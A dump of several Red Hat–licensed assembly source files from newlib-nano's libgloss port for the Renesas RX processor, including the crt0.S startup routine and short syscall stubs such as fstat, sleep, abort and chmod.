OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" #define SYS__set_heaptop 11 S(_set_heaptop)

32bitmicro/newlib-nano-1.0

4,452

libgloss/rx/crt0.S

/* Copyright (c) 2008, 2009 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. This software is provided by the copyright holders and contributors "AS IS" and any express or implied warranties, including, but not limited to, the implied warranties of merchantability and fitness for a particular purpose are disclaimed. In no event shall Red Hat incorporated be liable for any direct, indirect, incidental, special, exemplary, or consequential damages (including, but not limited to, procurement of substitute goods or services; loss of use, data, or profits; or business interruption) however caused and on any theory of liability, whether in contract, strict liability, or tort (including negligence or otherwise) arising in any way out of the use of this software, even if advised of the possibility of such damage. */ .text .global _start _start: .LFB2: mvtc #0, psw /* Enable the DN bit - this should have been done for us by the CPU reset, but it is best to make sure for ourselves. */ mvtc #0x100, fpsw mov #__stack, r0 mvtc #__vectors, intb mov #__datastart, r1 mov #__romdatastart, r2 mov #__romdatacopysize, r3 smovf mov #__bssstart, r1 mov #0, r2 mov #__bsssize, r3 sstr.l /* Initialise the small data area pointer. The register used here must agree with the definition of GP_BASE_REGNUM in gcc/config/rx/rx.h. */ mov #__gp, r13 bsr.a __rx_init #ifdef PROFILE_SUPPORT /* Defined in gcrt0.S. */ mov # _start, r1 mov # _etext, r2 bsr.a __monstartup #endif mov #0, r1 /* argc */ mov #0, r2 /* argv */ mov #0, r3 /* envv */ bsr.a _main .LFE2: #ifdef PROFILE_SUPPORT mov r1, r13 ; Save return code. bsr.a __mcleanup mov r13, r1 #endif bsr.a _exit .global _rx_run_preinit_array .type _rx_run_preinit_array,@function _rx_run_preinit_array: mov #__preinit_array_start,r1 mov #__preinit_array_end,r2 bra.a _rx_run_inilist .global _rx_run_init_array .type _rx_run_init_array,@function _rx_run_init_array: mov #__init_array_start,r1 mov #__init_array_end,r2 mov #4, r3 bra.a _rx_run_inilist .global _rx_run_fini_array .type _rx_run_fini_array,@function _rx_run_fini_array: mov #__fini_array_start,r2 mov #__fini_array_end,r1 mov #-4, r3 /* fall through */ _rx_run_inilist: next_inilist: cmp r1,r2 beq.b done_inilist mov.l [r1],r4 cmp #-1, r4 beq.b skip_inilist cmp #0, r4 beq.b skip_inilist pushm r1-r3 jsr r4 popm r1-r3 skip_inilist: add r3,r1 bra.b next_inilist done_inilist: rts .section .init,"ax" .global __rx_init __rx_init: .section .fini,"ax" .global __rx_fini __rx_fini: bsr.a _rx_run_fini_array .section .sdata .balign 4 .global __gp .weak __gp __gp: .section .data .global ___dso_handle .weak ___dso_handle ___dso_handle: .long 0 ;;; Provide Dwarf unwinding information that will help GDB stop ;;; backtraces at the right place. This is stolen from assembly ;;; code generated by GCC with -dA. .section .debug_frame,"",@progbits .Lframe0: .4byte .LECIE0-.LSCIE0 ; Length of Common Information Entry .LSCIE0: .4byte 0xffffffff ; CIE Identifier Tag .byte 0x1 ; CIE Version .ascii "\0" ; CIE Augmentation .uleb128 0x1 ; CIE Code Alignment Factor .sleb128 -1 ; CIE Data Alignment Factor .byte 0xd ; CIE RA Column .byte 0xc ; DW_CFA_def_cfa .uleb128 0xc .uleb128 0x3 .byte 0x8d ; DW_CFA_offset, column 0xd .uleb128 0x3 .p2align 2 .LECIE0: .LSFDE0: .4byte .LEFDE0-.LASFDE0 ; FDE Length .LASFDE0: .4byte .Lframe0 ; FDE CIE offset .4byte .LFB2 ; FDE initial location .4byte .LFE2-.LFB2 ; FDE address range .byte 0xf ; DW_CFA_def_cfa_expression .uleb128 1 ; length of expression .byte 0x30 ; DW_OP_lit0 .p2align 2 .LEFDE0: .text

32bitmicro/newlib-nano-1.0

1,543

libgloss/rx/sigprocmask.S

/* Copyright (c) 2009 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" #define SYS_sigprocmask 127 S(sigprocmask)

32bitmicro/newlib-nano-1.0

1,510

libgloss/rx/argvlen.S

/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(argvlen)

32bitmicro/newlib-nano-1.0

1,508

libgloss/rx/fstat.S

/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(fstat)

32bitmicro/newlib-nano-1.0

1,532

libgloss/rx/sleep.S

/* Copyright (c) 2009 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" #define SYS_sleep 127 S(sleep)

32bitmicro/newlib-nano-1.0

1,515

libgloss/rx/gettimeofday.S

/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(gettimeofday)

32bitmicro/newlib-nano-1.0

1,658

libgloss/rx/abort.S

/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" .global _abort _abort: /* This is for debuggers. The simulator stops here too. */ brk mov #42, r1 SYSCALL(SYS_kill) /* Else, exit. */ bra.w __exit

32bitmicro/newlib-nano-1.0

1,508

libgloss/rx/chmod.S

/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(chmod)